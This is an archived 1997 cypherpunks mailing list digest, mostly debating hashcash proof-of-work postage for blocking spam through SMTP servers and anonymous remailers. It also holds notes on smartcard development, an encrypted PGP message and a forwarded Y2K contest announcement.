resource name for the kinds of problems you raise, and because it is
cheaper to verify hashcash on shorter strings.  By resource name I
mean whatever it is that is being used.  For an email address it is
the email address, for a remailer it is the remailers address.  Could
be generalised for other purposes, for example free use of web based
resources or even telnet based TCP/IP protocols in general.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199712140012.AAA03831@server.eternity.org>




Steve Schear  writes:
> I disagree that the best way to implement hashcash is solely via the SMTP
>  mechanism.

It is nicest to implement the blocking at the SMTP agent if this can
be done in a privacy preserving manner, because it reduces the
bandwidth consumption for users, and reduces the complexity of their
local software -- they only need to generate hashcash for outgoing
mail.

> Almost any efficient hashcash mechanism will require some sort of history
>  file, or "invited list," to allow mail lists and those we have corresponded
>  with to continue to do so w/i having to supply hashcash each time.  This
>  list contains information which might have privacy implications and so
>  should not be stored at the ISP, which can be forced to reveal such info
>  w/o the knowledge of the client.

See my post to Bill Stewart with 

	Subject: supeona immune postage free list

I think you can construct ways to allow the ISP to reject messages
without postage, and to allow frequent users to be exempt, and to do
this such that there is no invited list which becomes a juicy target.

> If 'open' list policies were changed so that anyone could post if they
>  supplied enough hashcash for each mailing list recipient for their first 1
>  or 2 posts, and thereafter no longer needed to supply hashcash (sort of
>  minimum reputation capital), it might eliminate hit-and-run or throw-away
>  account SPAMers without offering too high a hurdle to new or infrequent pos
> ters.

That is an interesting thought.  Well the interesting thought is that
it gives us a way to block spam at the list server, because a) the
spammer has to overcome the hurdle you described, and b) the list
operator could punish spammers who started spamming once getting over
the hurdle by blocking them.  The usual trick of switching to a
different address, or a remailer would not work because they would
still have to generate a new hashcash coin as the list operator could
block the coin.

I would however think that a large denomiation coin made out to the
list server would make more sense than generating lots of coins for
all of the list subscribers.

However there is a nasty side to the above, in that it encourages the
list operator to censor posts he considers spam.

It would be simpler and I think tend to less encourage censorship to
introduce a third party filtering service such as Ray Arachellian's,
and the other one, which had an option to have only spam filtered out.

At this moment in time the spam content on mailing lists I am on is
very low.  I get much more in email.

Doubtless this would change when spammers discovered that email spam
is too CPU expensive to use.

Also hashcash really doesn't work well for USENET.  NoCeM's are cool
things for USENET, a distributed ratings system, and I understand can
be configured to work for mailing lists also.

> Since most popular email clients allow plug-ins (e.g. Eudora) or extensions
>  via Java/ActiveX, providing hashcash functionality via a plug-in and the
>  java generators you propose would provide a simple mechanism to test its
>  effectiveness w/o needing to involve the IETF.  

You can do a lot with local SMTP and POP3 proxies.

There are a couple of java ones around.

Anyone know if there is code available to do SMTP and POP3 proxying?

I am told by one subscriber to look at TIS firewall toolkits imap
program.

> The shortcoming of a
>  plug-in approach is that few newbies will know of it or install it and will
>  therefore have to wait till its built into the new release of whatever
>  client they use or until some or all of the features are supplied by their
>  ISP, 

Yes, this problem is the motivation for trying to work out ways that
as much as possible could happen at the ISP side for less technical
users, and even for technical users, I know few people are interested
to install new software.

Also ISPs often seem more concerned about spam abuse than users.

> allowing those calling regulation to continue to blow their horns. 
>  However, if after a successful cypherpunk beta we could get the major email
>  client companies (Netscape, M$ and Qualcomm) to include our plug-ins with
>  all their new updates and offer them for free download from their Web
>  sites, it could quickly steal the CAUCE folk's thunder.

It would be cool if we could pull that one off.

Do we have anyone on list who is familiar with eurdora, qualcomm and
netscape plugins who would like to interface a hashcash library to
these systems?

Anyone who can write java applets want to implement a java hashcash
library?  (Should be easy.. jdk1.1.3 includes a sha1 function ... I am
not sure if this is included with netscape 4 or not, but there are
also numerous sha1 native java codes around, www.systemics.com being
one).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199712132340.XAA03750@server.eternity.org>




Bill Stewart  writes:
> It also creates a valuable soft-target traffic analysis database;
> unlike current sendmail logs, it'll probably stick around for an
> extended period of time, and be readily subpoenaed.

I think I figured out a solution to this nasty problem prompted by
Robert Costner's comments:

How about this alternative which achieves the same functionality and
removes the juicy supeona target:

Turn on hashash database for all mails.  That means hashcash gets put
in the database to prevent double spending.  (If we don't do this
spammers will club together and do one mega-spam reusing the same
hashcash they generated with their spam fest motivated CPU farm and
hit you with spam from many addresses, or all forged as from the same
address or whatever).

So now when you reply to a message, on it's way out via the mail hub,
mark the hashcash token as reusable.  This means that the sender can
cache sent hashcash tokens, and re-use them when after he gets a
reply.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199712132319.XAA03696@server.eternity.org>




Robert Costner  writes:
> At 10:55 AM 12/13/97 GMT, Adam Back wrote:
> >Remailers require a different strategy.  With remailers you are trying
> >to discourage spammers from using the remailer, with email you are
> >also trying to discourage spammers, but you have to do it in ways
> >which is easy for neophytes to cope with.
> 
> I'm unsure that this is what we are trying to do at all.  I'm perfectly
> willing to assume that a remailer gets it's mail into it.  The problem is
> now that the remailer has to deliver the mail.  Under this plan, to deliver
> mail there must be hashcash for the delivery to the point beyond the
> remailer.

Simplest thing to do for non-replyable remailers is to insist that the
originator include hashcash for each remailer hop.  Then remailers can
just refuse to remail anything unless there is a valid hashcash
postage token included.  For example:

	Hashcash-Postage: 10208remailer at efga.orgb35b746c387ff6bc

Is a 20 bit hash collision on remailer at efga.org.  (Antonomasia sent me
a patch sometime back for hashcash which changed the hashcash syntax
to:

	Hashcash-Postage: 10208:remailer at efga.org:b35b746c387ff6bc 

which is easier to parse.  (He also simplified the command line
interface... mine is a bit scruffy)).

To send through remailer at efga.org and remailer at replay.com, you would
include a hashcash postage stamp for each remailer.

So you add to the remail instructions for remailer at efga.org a hashcash
postage stamp:

	::
	Request-Remailing-To: remailer at replay.com
	Hashcash-Postage: 10208remailer at efga.orgb35b746c387ff6bc

and to the nested encrypted remailing instructions for replay you add
a hashcash stamp for it too:

	::
	Request-Remailing-To: replay.com
	Hashcash-Postage: 10208replay.com05e4fee159c1cfc9

> HashCash has often been suggested as a method for throttling spam that
> would be sent to remailers.  This is not what I was responding to.  I was
> responding to a suggestion that ISPs start requiring hashcash.  I'm
> honestly unclear as to whether the remailer must generate the hashcash for
> the future SMTP's or if the suggestion is that the originator is generating
> all of the hashcash.  

The originator must generate the hashcash for all hops.

> Since remailers mangle the messages and regenerate them, I am unsure
> if originator generated hashcash is to be made for the destination
> mail port, or if the remailer must do this.

The hashcash proposal was originally focussed on remailers, and for
this purpose it is suggested that the originator generate all postage.

> If there is in fact a requirement that the sender generate the hashcash,
> then I am not sure this will work.  A nym reply block possibly does not
> lead to an exit address, but rather to another reply block.  In fact, this
> should always be the case.  

I am not sure I understand the comment above.  Why should a reply
block always point to another reply block?

It provides pretty good security to have a newnym address which when
mail is sent to it, the newnym server looksup that nyms reply block,
and mails the message with that reply block prepended to the
designated first hop remailer.  The reply block chain can have several
hops, and can even end up in a newsgroup via a mail2news gateway, or
typeI remailer.

To point the whole reply block back to another newnym address adds
additional protection but I would have thought most people use only
one reply block.

> There is no way for the sender of the email to know this route,

A good point.

You have to restructure the payment to cope with this.  Here are a few
ideas:

- One way to do it is to require the nym owner to pre-pay hashcash
postage for mails he receives.  When the postage runs out, the
delivery ceases.  However this provides a denial of service attack
against the newnym user -- just have more CPU than him and you can
prevent him getting any real replies by spamming him.

- Another is to require postage only for the entry remailer.  This
however begs the question of what is a remailer.  There are problems
with assuming there is some official list of "remailers".  For example
if I am a spammer and I want to spam I will call myself a remailer,
and spam via the other remailers from this vantage point apparently
within the fold, it will be difficult to detect me.  I might even
remail the odd message to keep up appearances.

- A distributed hashcash double spend database could allow remailers
to accept hashcash which wasn't directed to them specifically, but
rather, which was directed to any remailer.  Remailers would propogate
hashcash database updates.  This preserves anonymity because hashcash
says nothing about the person who minted the hashcash stamp.  However,
interestingly, it would be necessary for the remailers to anonymously
remail database updates because revealing the remailer which received
the hashcash token would allow the newnym reply blocks to be traced.
Disruptive remailers could remove all of the hashcash tokens as the
sender would be forced to send them all to be readable by the first
remailer, not knowing the identity of the rest of the remailers.  Not
a big problem I think because remailers which do this can be weeded
out statistically, and will suffer in the remailer ping league tables
for such behaviour.  They can already disrupt pretty well if inclined
-- just discard messages.

- Or more simply, but more expensively for the sender, include a
couple of hashcash tokens for all of the remailers (there being only
20 or so).

> Not only with nyms, but with regular email addresses multiple hops may be
> required to deliver email.  For instance, the address "rcostner at cpsr.org"
> will deliver email to me.  This address forwards mail to "pooh at efga.org".
> The efga domain cannot be POP'ed into, so this is then remailed to wherever
> I'm POP'ing into this month.  Since the original sender cannot know this,
> and since ALL email to me requires a minimum of two mail gateways to get to
> me it seems that this hashcash plan has some problems.

This an interesting problem that I have not seen raised before.  One
way to get around it would be to allow mail from rcostner at cpsr.org to
arrive at pooh at efga.org without hashcash, and for mail from
pooh at efga.org to arrive at your pop this month without hashcash also.
You would allow via a token which you would not make generally
available.  That is you would say set up the .forward file not to send
to pooh at efga.org, but:

	Robert Costner c387ff6bcb35b746 

Then instruct the ISP side hashcash based filtering agent at efga.org,
to allow this token through.  Similarly for the second hop from
efga.org to this months POP. 

> Further, I highly dislike the notion of maintaining system level databases
> of who is communicated with.  As in a quote from Adam Back's web page
> 
>      To solve this problem subscribers should put the mailing list
>      address in a postage-free recipients list. 
> 
> Traditional "wire tapping" would require that a communications port be
> monitored to find out who communications are being made with.  Under the
> "postage free list" plan, this information sits in a file waiting to be
> collected with no difficulty at all.  Implemented on the SMTP level, we
> have a way of testing for who a person communicates with.  After a HELO, we
> spoof in a MAIL FROM:, then look to see if we get a "559 HashCash Required"
> error.

This is a major danger I agree.  Bill Stewart suggested hashing the
database entries, which complicates things for the attacker, but not
as much as we would like.

I am 100% with you on the dangers of supeonaed postage free lists.

How about this alternative which achieves the same functionality and
removes the juicy supeona target:

Turn on hashash database for all mails.  That means hashcash gets put
in the database to prevent double spending.  (If we don't do this
spammers will club together and do one mega-spam reusing the same
hashcash they generated with their spam fest motivated CPU farm and
hit you with spam from many addresses, or all forged as from the same
address or whatever).

So now when you reply to a message, on it's way out via the mail hub,
you remove that hashcash token from the double spending database.
This means that the sender can cache sent hashcash tokens, and re-use
them when after he gets a reply.

Neat.

> I've never been impressed with the hashcash method of thwarting
> spam.  I'm just not really sure that a technical solution to spam
> will work in any event.

Technical solutions to spam are not easy.

However hashcash is reasonably flexible in what you can do with it,
and real payee and payer anonymous ecash even more so, and I figure we
ought to give it a go because the non-technical solutions involve
low-life politicians trying to solve the spam problems for us, and
introducing legislation giving jail time for forged From fields,
trying to introduce internet drivers licenses, and deputising ISPs to
try to enforce the mess.  It is unclear how remailers would fare in
such a scenario.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199712140036.BAA23775@basement.replay.com>



"Sam"  wrote:

> >:That's because there AREN'T any.  Again, what are his motives in shutting
> >:down something that he obviously considers to be a valuable asset?
> >
> > OBVIOUSLY?  Why obviously? Obviously because he says so?
>  
> Obviously, as in being very apparent, based upon his actions.

"Obvious" because I'm the one using a remailer as a communications medium.  To
attempt to destroy my own means of communications would be ludicrous.  Gary,
on the other hand, has stated that he does NOT use remailers.  He would thus
have nothing to lose if any/all of them were closed down.  It would be
similarly ludicrous (though perhaps less so) to accuse Gary of annoying,
flaming, and accusing people as part of a scheme to get Netcom shut down.

Interestingly enough, Belinda Bryan, out of the blue, recently taunted a 
poster to  netcom.general by saying, "Are you going to use anonymous 
remailers to attack Gary next?".  It's almost as if the crew at DataBasix is 
INVITING "abuse" via remailers,  and it has had an uncanny knack for appearing 
right on cue from them in the past, too. (Just like the so-called "spam bait" 
started showing up right after Gary's initial demand to Jeff that he turn over 
his logs to DataBasix.)

Nor does it make sense that if I wanted to get remailers shut down, I'd limit
myself to criticizing one little obnoxious clique on usenet, namely the 
DataBasix Gang.  I doubt that anyone is likely to arouse a hue and cry against 
remailers from the masses by criticizing Gary, Belinda Bryan, and Billy 
McClatchie ("Wotan") anonymously.

> > "Obviously because if he didn't find them valuable he wouldn't be using them"?
> > So when he (and others) uses them to spam bait, is that finding them valuable?
>  
> I do not recall any conclusive proof being posted, or even circumstantial
> evidence, that he was responsible for spam baiting.

Back when the alleged "spam baiting" was going on, Gary and Belinda were
accusing "rfg" of doing it.  For awhile, they accused Scott Dentice. Now
they've gotten tired of accusing named individuals and have invented a
mythical "anon asshole" who is supposedly responsible for just about
everything imaginable.  (I'm supposedly the latest re-incarnation of this
evil, mean ogre.)  Since Gary is adamant about there being one and only
one "anon asshole" responsible for all of this, at least one of his
accusations against people he's named in the past must have been a lie.






From rfarmer at HiWAAY.net  Sat Dec 13 16:56:46 1997
From: rfarmer at HiWAAY.net (Uhh...this is Joe [Randall Farmer])
Date: Sun, 14 Dec 1997 08:56:46 +0800
Subject: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971213161023.03889c90@mail.atl.bellsouth.net>
Message-ID: 



> >> So, we would need about 44 hours of CPU time each day.
> >
> >Well, have a system of certified remailers trusted to force their users to
> burn
> >up time at the sending end, so the ultimate recipient accepts their messages
> >w/o postage. One certified remailer accepts messages from others without any
> >postage, so only the original sender has to use up CPU time. 
...
> Since we need hashcash now to LEAVE a remailer, not to enter one, where does
> this hashcash come from?  A busy remailer could not generate it's own
> hashcash for the destination non-remailer ISPs. 

This is exactly what I was addressing: remailers only have to get themselves
certified as remailers and then prove their certification to the destination
server, not do the whole hashcash shtick for every message. (For example, they
could publish their public key's hash signed by some anti-spam organization,
then sign the hash of the server's challenge to prove that they are a real
remailer, not an advanced spammer imitating one) 

> 
> Does the same hashcash that allows a message to enter the remailer network
> also retain it's validity once the message has been rewritten by the
> remailer?  Is this hashcash still valid for the destination mail server at
> netcom?  Does the initial sender provide two instances of hashcash, one to
> get into the remailer, and one to get into the destination mail system? 

Nope. The original sender provides hashcash to get into the remailer net, and
the receiver, after seeing the remailer's certificate, trusts that the original
sender spent some CPU time to send the message. The remailer doesn't have to
while away nearly as much of *its* CPU time, and spammers still couldn't send
many messages since they still have to waste their CPU cycles to do so. 

...
> 
>   -- Robert Costner                  Phone: (770) 512-8746
>      Electronic Frontiers Georgia    mailto:pooh at efga.org  
>      http://www.efga.org/            run PGP 5.0 for my public key

---------------------------------------------------------------------------
Randall Farmer
    rfarmer at hiwaay.net
    http://hiwaay.net/~rfarmer






From vznuri at netcom.com  Sat Dec 13 17:50:16 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Sun, 14 Dec 1997 09:50:16 +0800
Subject: technical spam prevention
Message-ID: <199712140145.RAA29782@netcom4.netcom.com>



the problem of spam prevention has concerned me for a long time.
the Internet was designed to withstand a nuclear attack-- yet
it is incredibly vulnerable to spam. the initial assumption
was that all nodes on the network are friend, not foe, i.e.
trusted. this concept is breaking down as the net scales massively.

some people warned long ago that spam would become an increasing
problem on the net as it scaled, and that the technical visionaries would
wise to try to cooperate and come up with approaches. such a 
point of view is not popular on this list, which is not really
big on collaboration (despite that some of the greatest successes
and fame have come from it, such as via the code cracking 
ring). but increasingly events are forcing people to come together
to come up with solutions.

there are many promising approaches to spam prevention. the one
I like is a system whereby the receiver can specify how much
money it costs to receive an email from anyone. the mail is
rejected if it doesn't contain this fee. different people
can configure their incoming mail different. Gates may charge,
say, $1000. joe schmoe would charge, say, $1. an interesting
part of this model is that if someone you like sends you mail,
including the fee, there is nothing to prevent you from reimbursing
them in a return message (or paying their own fee with the money
they supply). such a system would be a very powerful spam
prevention system. (due credit goes to TCM for being one of the
first for advocating this.)


however, I would like to suggest that spam prevention is a great
test for a *reputation*system*, something we have talked about
a long time here but found it very difficult to implement. the
reputation system would rate people based on their lack of email
complaints, and allow queries that could screen email based on
poor ratings. such a system would not immediately block spam,
but it could be implemented in a way such that spam becomes far
less powerful.

there are two problems with spam that any designer has to confront.
there are some internet providers who do not want their users to spam.
if they inserted a few header into the outgoing mail such as the 
following, it would allow excellent screening heuristics:

1. total bytes sent through this email address.
2. total age of this account in days.

the sender is free to calculate the ratio if it prefers, or use 
various heuristics on the straight values themselves.

now, I consider this pretty easy. the more difficult problem is
that there are some IPs that do not wish to ban spammers-- they
may be making a business out of it. a reputation system that
weeds out these sites may be buildable-- but it's the most
difficult problem.

I think a lot of fame and glory will go to someone who invents
effective spam prevention mechanisms-- increasingly I think the
future of cyberspace depends on solving this very difficult
and seemingly intractable problem.

(if anyone can point me to a mailing list that focuses on technical
spam prevention, I'd appreciate it.)







From shamrock at cypherpunks.to  Sat Dec 13 18:08:51 1997
From: shamrock at cypherpunks.to (Lucky Green)
Date: Sun, 14 Dec 1997 10:08:51 +0800
Subject: Smartcard update
In-Reply-To: 
Message-ID: 



On Sat, 13 Dec 1997, Alan wrote:
> What kind of cash outlay would I be looking at for doing smartcard
> development?  What do the needed parts run?  Any recomendations on
> suppliers?  Places to avoid?

You can get started for ~$100. You need:
o Smartcard reader. You can sodder one yourself from the specs we have
online, or you can buy  one of the commercial reader we support. [To all
of you with commmercial readers we don't already support; how about
writing a table for our reader abstraction layer]?

We currently support the home-built Dumb Mouse, Schlumberger, Gemplus, and
Phillips readers. Either one of these outfits will sell you one of their
readers for ~$100. They are all equally capable. It doesn't matter
which one you get. The Gemplus reader looks the coolest. Email me if you
need a contact address.

o ISO7816-[3,4] -3 is online, -4 isn't yet, pending a good copy that can
be scanned. But you can get by with just 7816-3.  I am.

o A smartcard, ideally with programmer reference manual. Gemplus will send
you their reference in PDF and a sample GPK4000 (sig only) for free. 
Schlumberger will sell you 4 CryptoFlex cards for $80, but requires an NDA
for the manual. Bull is between card revisions and doesn't really have any
intresting crypto cards at the moment. Same with Siemens. If your interst
is more towards cash cards, we already have  support for Chipknip
(Proton). Beyond that, you are on your own. But if it speaks ISO7816, you
can write an STEST table for it. In fact, you can write the table from the
manual without ever touching a card. But this  is less gratifying. Still,
we would be thankful for any and all tables  added to STEST.

More info (the site needs updating)  is at
https://www.cypherpunks.to/scard/

-- Lucky Green  PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"






From yafq at telcel.net.ve  Sat Dec 13 18:15:28 1997
From: yafq at telcel.net.ve (Yuri Freneites)
Date: Sun, 14 Dec 1997 10:15:28 +0800
Subject: Q
Message-ID: <19971214020107.AAA561@telcel.telcel.net.ve>



some body out there can tell me how can i get in boy boy web page without
password
thank...






From toto at sk.sympatico.ca  Sat Dec 13 18:27:37 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sun, 14 Dec 1997 10:27:37 +0800
Subject: Ad Gaolas Deliberandas
Message-ID: <199712140220.UAA02495@harrier.sasknet.sk.ca>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

hQCMAyKJGkNBIH7lAQQAmSE8RzdFojIzCQTLlyfujHrcNjkINwzHFzcMolaME2gr
5RysDwIbQ1+jLZwRQzvFW19AryK5r+Sa4yU76+LETfxGVggJabgzqGyRO6Vp/aNL
R15XrxKFGyXAsJbcxiWc01yT26reR0cvsF9lX+KsDmrSN6zZ69Fi/omvQmiWt+SF
AQwDXg48hx0n2B0BCACVe36ytxuTkBfuOW7T1JId+3EW3GcUjFbg+6UR8mXSjspx
vFGhbXb2EHJ+loVa9eYF95LKneg2aRAfUNx8l6uMnWH15BuH3naYK7sbD+aw8RQw
SWJxHXyqpsWZetmrm5m51NLguliyxbw+RoKYvvhLuW+W3LzCWGIZfAFnbt25sMtB
SP4+Fk8zJrHCxBSS0Soh5wfsmCb7W3GOlzxHNIUisRXMKkDxVXD/MWzf2hhF5UIP
SeVsX8wNQM/PxyQZgVizFhiIHX/1WwrCnDOlTnWv/MnC5UZqwssO/FJx+u1kZ+BU
XNAmuu5Ie2snc0XnXoybP72ORnjHaA+OBQdZhpu6pOW9uNj+tRv8Ssp1xny1FB1i
ovXVeOWP9EbhZHpHPAvi5x5Vv9DFtU9n9nUsf72ji6S/NA6i+YMTp7qyThbLf95B
il6xpFiOobBQhHFv5xyZjt5SwfNeGIo1fGqLKpL7ljJSAXHtBoWA9VOENuBplsLc
D4909PoRUrLR81HefVf8g0hrh+hZO0a5TnAFynmZZrTUwz5wJ9KwsBQ2D+5im+xi
zLtfpRR9lIGFcLPsHZLEXZA8gaO8aJGmJKCOSOBb06dj9lEDqbikNhIMQVcJiPVj
5v1VrkFwUQPqfB/DQixXm7xwMlIG
=kEZy
-----END PGP MESSAGE-----






From toto at sk.sympatico.ca  Sat Dec 13 18:29:04 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sun, 14 Dec 1997 10:29:04 +0800
Subject: Y2K ANNOUNCE>> If I were President/Dictator
Message-ID: <199712140219.UAA02463@harrier.sasknet.sk.ca>



>Date: Fri, 12 Dec 1997 09:06:22 -0600 (CST)
>To: Year2000.com-Announcement-List at year2000.com
>From: Year2000_Outbound_Mail_See_Below at year2000.com
>Subject: Y2K ANNOUNCE>> If I were President/Dictator
>Sender: owner-year2000-announce at year2000.com
>
>Last month Peter de Jager announced a contest to submit
>suggestions about what you would do about the year 2000
>problem if you were president (of any country) for a day.
>Peter also suggested that humorous entries be submitted
>with the title "If I were supreme dictator!"  Below you
>will find the winning entries along with some of the
>honorable mentions.  --Cliff Kurtzman
>
>--------------------------------------------------------
>Greetings folks,
>
>    The "If I were President" contest winner (out of 99
>entries) is Nancy L. Osterhaus.  The "If I were Dictator"
>contest winner (out of 20 entries) is Richard Kennard.
>You will find both entries below, along with a number of
>the honorable mentions.
>
>    Contests are tough... I find a 'winner' out of the
>many good and excellent submissions to always come down
>to a handful of choices... and choosing at that point
>is honestly a random event. It is seldom a winner is a
>'certain' winner. Nancy... you won... and the others?
>several came very close and two others were a toss up.
>
>    The "If I were Dictator" entries were even tougher
>to judge. Especially since after awhile... some were
>beginning to make sense!!! (I need to get a life!)
>Sad thing is... some of these are considered as serious
>suggestions by some of the people I've spoken with over
>the years.
>
>
>  I can only do my best...
>  Peter de Jager, pdejager at year2000.com
>========================================================
>
>
>IF I WERE PRESIDENT
>===================
>
>Winning Entry:
>
>From: "Nancy L. Osterhaus"
>To: pdejager at year2000.com
>Date: Tue, 21 Oct 1997 16:55:37 -0500
>Subject: If I were President
>
>Action Items:
>
>1.  Communication to the world the magnitude of the problem, the real
>issues, the real impact
>
>This is a denial project.   Most people do not understand the impact of the
>year 2000 on them.. on their lifestyle, the way they do business, and their
>health and future.  I work in a large company that has a strong awareness
>campaign, but during my "time off" talk to local businesses, hospitals,
>etc.   They are very unaware of the issues.  If the grand Y2K world-wide
>project, is to succeed, we need to get past the first phase ....
>Communication & Commitment.  The president could enable this by holding a
>Town Meeting with a panel of experts to explain the problem, impact,
>solution, and government plans for compliance.
>
>2.  Commitment to prioritize and repair of what he's responsible for
>(Government systems, banking, infrastructure, etc.)
>
>Publishing a plan to show people that this is a serious issue, and the
>government has taken the step of prioritizing their systems and developed a
>plan to ensure compliance.  Publish the individual department plans,
>lessons learned, etc.
>
>3.  Publicly report on the progress of government Y2K projects on a regular
>basis (at least quarterly)
>
>Report to the nation and to the world on the progress of year 2000
>compliance in the government sector.  By providing regular updates to the
>nation we will gain increased awareness of the issues and in addition we
>can hold our government accountable for their projects and progress towards
>compliance.
>
>Nancy
>
>==========================================================================
>
>And here are a selection of other suggestions: Some of the good ones,
>most of the great ones and a handful of ringers. You decide which is which.
>Yours truly, Peter.
>
>From: "Dyer, Wayne"
>
>1. Request congress to modify tax code
>        The costs of a company making corrections for Year 2000 should be
>considered an investment in the future - therefore they should be
>treated favorably at tax time. Everything possible should be done to
>encourage companies to deal with the problem - and tax policy is the key
>way to influence business decisions.
>
>2. Limit year 2000 liability
>        The year 2000 problem was caused by "standard practices" in the
>software industry. No company should have to worry about mega lawsuits
>because of year 2000. Companies can be held accountable for the quality
>of their products, but absolutely nothing will be gained by shareholder
>suits against companies merely because they didn't start early enough to
>fully correct the problem
>
>3. Change Social Security earnings limits
>        Retired programmers should be encouraged to "come out" of
>retirement to
>work on year 2000. Because social security benefits are reduced for each
>dollar earned above a set limit, many will probably not want to work.
>This limit should be waived for people working on YR2K.
>-------------------------------------------------------------------------
>From: Kevin Whelan
>
>1. Require Y2K preparedness report from all organizations.
>Require all organizations to file a standard report that would be
>available via Internet on their Y2K preparedness status.
>
>2. All software/hardware vendors publish Y2K info on Internet.
>Require all manufacturers and software vendors to publish by specific
>model and/or version the Y2K compliance status of each of their products in
>use, to be viewable on the Internet.
>
>3. Monthly Y2K TV program during prime time.
>The government will sponsor an hour Y2K awareness TV program monthly
>during prime time from 1998 until it's over.
>
>Kevin
>-------------------------------------------------------------------------
>From: Iain MacKenzie
>
>1. Raise awareness. Real awareness. Tell the people that this is a *real*
>problem, on *all* makes, models, types of computer. Tell them that
>*everything*
>should be checked. Explain *why*. Explain the difference between 'is
>capable of
>storing' and 'is actually populated with' and the connection this has to
>2-digit data entry, for example.
>
>2. Explain what every computer-owner should be doing. Tell them what they need
>to do to check and resolve their own problems. This is the 'facts and data'
>part of the message.
>
>3. Talk about scheduling and panic. There *is* time to fix the problem. (There
>*has* to be, the time is fixed. We (Y2k folk) will have to vary our
>solution as
>time goes by). If all companies establish a plan and follow it we will all end
>up with a h*** of a party on 31/12/1999 but no major problems. A sort of 'Your
>*Company* Needs YOU' message.
>-------------------------------------------------------------------------
>From: "Mau, Michelle"
>
>IF I WERE A PRESIDENT..
>1.      Make Giants Pay
>Make  the major  computer giants - SUN, IBM, MICROSOFT, SAP, ORACLE,
>etc, to contribute $1 billion each for each year  until the year 2001 to
>fund the awareness campaign of the y2k. The idea is to highlight the
>criticality side of y2k which is a business problem - not just an IT
>problem. Everyone from floor operations right through to the  middle
>management up to the senior management should be aware of this bug and
>its impact to the running of the business.  School children should also
>have some idea what this is all about as they are our growing IT
>customers.  Most of  them are already familiar with the Internet and
>computer games.  It is time for IT to lift its game and include everyone
>on y2k - equity through IT is great to break down the social barriers
>and the barriers of haves and haves-not.
>
>2.      TAX   Incentives
>Have an incentive program for SMEs (Small and Medium sized enterprises)
>to have at least 70 percent tax deductions for their expenses in
>managing and fixing y2k bug before Dec 31, 1999. After Dec 31, 1999, the
>tax deduction will be lowered to 30 percent so that these organisations
>will be motivated to start their y2k project now than later to make such
>claims from their tax.  This is already happening in Singapore. It will
>be great if developed nations like Australia could bring this policy
>into effect immediately rather than leaving it a bit  too late.  SMEs
>are the backbone of the industries in this country and they should be
>assisted and motivated to launch their y2k project.  y2k compliance
>definition and testing tools should be made available to everyone via
>the NET, brochures and awareness campaign which I have already
>mentioned.  Perhaps the example set by our Victoria Premier Jeff Kennett
>in providing  jobs  to the unemployed to test software compliancy with
>y2k using a set of standard tools  should be applauded.
>
>3.      Product Compliance Info through the NET
>Use the web to publicise which products are y2k compliant. If these
>products are not yet compliant, where do users get more updated info and
>when will these products be compliant? Which version or model? What
>course of action is recommended to users - retire, replace or risk it?
>What about products which have embedded technology  that may have impact
>on the organisation?
>-------------------------------------------------------------------------
>From: "Dyer, Wayne"
>
>1. Request congress to modify tax code
>       The costs of a company making corrections for Year 2000 should be
>considered
>an investment in the future - therefore they should be treated favorably at
>tax time. Everything possible should be done to encourage companies to deal
>with the problem - and tax policy is the key way to influence business
>decisions.
>
>2. Limit year 2000 liability
>       The year 2000 problem was caused by "standard practices" in the
>software
>industry. No company should have to worry about mega lawsuits because of year
>2000. Companies can be held accountable for the quality of their products,
>but absolutely nothing will be gained by shareholder suits against companies
>merely because they didn't start early enough to fully correct the problem
>
>3. Change Social Security earnings limits
>       Retired programmers should be encouraged to "come out" of retirement
>to work
>on year 2000. Because social security benefits are reduced for each dollar
>earned above a set limit, many will probably not want to work. This limit
>should be waived for people working on YR2K.
>-------------------------------------------------------------------------
>From: Noel Goyette
>
>1.  Fire the head (not the CIO) of agencies which have not made real
>progress now.  Time is a lever which is rapidly getting shorter, and
>agencies are laying this problem on the CIOs without resources.
>
>2.  Get the SEC to investigate the real Y2K project status of industry,
>starting with the embedded systems in the utilities.
>
>3.  Reconsitute the Continuity of Operations Plans of the federal
>government, which have been abandonded and unfunded as a result of the end
>of the cold war.
>-------------------------------------------------------------------------
>From: "Joe Allegra"
>
>1.  Convene a meeting for a couple of days in Washington DC with
>Government and Business Leaders to discuss this issue.  I would prep
>the meeting by coming up with a list of 10 questions that CEOs need
>to ask themselves.  For example:  Do you a credible plan to become
>Year 2000 compliant?  How big is this IT project relative to other
>IT projects?  Has your IT staff ever attempted a project of this
>size?  What is the track record of your IT department in completing
>large projects on time? If you lost all of your computer systems,
>what would be the impact to your business.  etc. etc.  I would also
>bring in people that could document through real live experiences
>how big the project really is.
>
>Having a Washington based meeting convened by the President would get
>the media into this in a big way.
>
>2.  I would convene a high level group to monitor and report monthly
>on the compliance activities of the key sectors of the economy.
>Alan Greenspan to monitor the banking system; others to monitor
>transportation, power, telecommunications.
>
>3.  I would ask the Group of 7 (or is it 8) countries to convene a
>special meeting to discuss this issue at the president/prime minister
>level.
>-------------------------------------------------------------------------
>From: Eugene Hatting
>
>1)      Institute legislation that ALL government institutions must have
>started taking adequate steps by December 1997, in order to address the
>year 2000 problem.
>
>2)      Institute legislation that all large non-governmental
